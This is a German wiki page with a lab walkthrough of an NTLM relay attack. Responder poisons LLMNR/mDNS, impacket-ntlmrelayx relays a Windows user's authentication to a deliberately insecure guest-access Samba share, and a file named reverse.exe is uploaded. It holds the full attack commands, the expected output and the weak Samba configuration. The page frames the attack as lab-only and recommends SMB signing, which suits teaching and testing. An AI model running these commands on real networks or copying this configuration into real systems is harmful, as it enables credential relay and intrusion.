NTLM-Relay auf Samba-Freigabe mit Impacket

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)

Ziel

Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:

  • SMB-Zugriff auf die Samba-Freigabe möglich ist
  • Eine Datei in die Freigabe hochgeladen werden kann

Voraussetzungen

  • Angreifer: Kali Linux mit impacket & responder
  • Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
  • Ziel: Linux mit Samba (z. B. 10.0.10.104)
  • Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share

1. Samba-Ziel vorbereiten

  • Samba konfigurieren:*
[global]
   workgroup = WORKGROUP
   server role = standalone server
   passdb backend = tdbsam
   map to guest = Bad User
   guest account = nobody

[share]
   comment = Relayziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup
  • Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
  • Dienst neustarten:*
systemctl restart smbd

2. Responder starten (Poisoning-Komponente)

responder -I eth0

→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)

3. ntlmrelayx vorbereiten

  • Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay

4. Angriff auslösen

  • Auf dem Windows-Opfer:*

Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):

\\irgendwas

→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter

5. Ergebnis: Interaktive Shell auf Samba-Freigabe

Nach erfolgreichem Relay erscheint:

[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED
[+] Opening SMB relay connection
[!] Interactive shell opened
smb>
  • Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe

6. Erfolg prüfen

Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:

ls -l /mnt/media/share

→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen

Zusammenfassung

| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |

Hinweise

  • Wird der relayed Benutzer nicht akzeptiert, hilft:
    • map to guest = Always
  • Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
  • Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)

Quellen